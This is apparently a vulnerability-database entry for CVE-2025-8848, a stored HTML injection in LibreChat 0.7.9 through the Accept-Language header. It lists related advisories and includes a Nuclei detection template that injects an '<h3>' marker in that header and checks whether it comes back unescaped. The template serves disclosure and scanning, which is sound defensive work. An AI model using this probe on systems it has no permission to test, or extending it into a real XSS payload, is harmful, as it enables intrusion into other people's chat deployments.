LibreChat <= 0.7.9 - HTML Injection via Accept-Language Header

🗓️ 06 Jul 2026 03:02:03Reported by ProjectDiscoveryType

LibreChat 0.7.9 has stored cross site scripting via Accept-Language header requiring login.

Reporter	Title	Published	Views	Family All 11
Huntr	Possible HTML Injection in Accept-Language header	24 Jul 202513:53	–	huntr
BDU FSTEC	The vulnerability of the HTTP GET Request Handler component of the LibreChat artificial intelligence-based platform allows a attacker to perform XSS attacks.	1 Jun 202600:00	–	bdu_fstec
Circl	CVE-2025-8848	22 Oct 202515:14	–	circl
CNNVD	LibreChat 代码注入漏洞	22 Oct 202500:00	–	cnnvd
CVE	CVE-2025-8848	22 Oct 202513:54	–	cve
Cvelist	CVE-2025-8848 HTML Injection in Accept-Language Header in danny-avila/librechat	22 Oct 202513:54	–	cvelist
EUVD	EUVD-2025-35577	22 Oct 202515:31	–	euvd
NVD	CVE-2025-8848	22 Oct 202514:15	–	nvd
Positive Technologies	PT-2025-43144	22 Oct 202500:00	–	ptsecurity
RedhatCVE	CVE-2025-8848	23 Oct 202514:15	–	redhatcve

Source	Link
nvd	www.nvd.nist.gov/vuln/detail/CVE-2025-8848
huntr	www.huntr.com/bounties/a05ebc1f-882a-4adc-b178-d3cefa4b730e
github	www.github.com/danny-avila/LibreChat

id: CVE-2025-8848

info:
  name: LibreChat <= 0.7.9 - HTML Injection via Accept-Language Header
  author: Kazgangap
  severity: medium
  description: |
    danny-avila/librechat 0.7.9 contains a stored XSS caused by improper sanitization of the Accept-Language header, letting logged-in users inject arbitrary HTML into the html lang= tag, exploit requires user to be logged in.
  impact: |
    Logged-in attackers can inject arbitrary HTML leading to cross-site scripting attacks, potentially compromising user sessions or data.
  remediation: |
    Update to the latest version where this issue is fixed.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-8848
    - https://huntr.com/bounties/a05ebc1f-882a-4adc-b178-d3cefa4b730e
    - https://github.com/danny-avila/LibreChat
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2025-8848
    epss-score: 0.00423
    epss-percentile: 0.34102
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="LibreChat"
  tags: cve,cve2025,librechat,html-injection

variables:
  marker: "{{rand_base(20)}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    headers:
      Accept-Language: "<h3>{{marker}}</h3>"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '<html lang="<h3>{{marker}}</h3>">'
          - 'LibreChat'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a0047304502206465fc4b420856ddc68fa85a192ea4e61924b7ebb3808cdacd8731027355198c02210094ad9df448642ebea5f1402dd67e1b7c9d2cec78bbd30c1491d678eda4ea457e:922c64590222798bb761d5b6d8e72950

04 Feb 2026 07:00Current

6Medium risk

Vulners AI Score6

CVSS 3.15.4

CVSS 34.8

EPSS0.00423

SSVC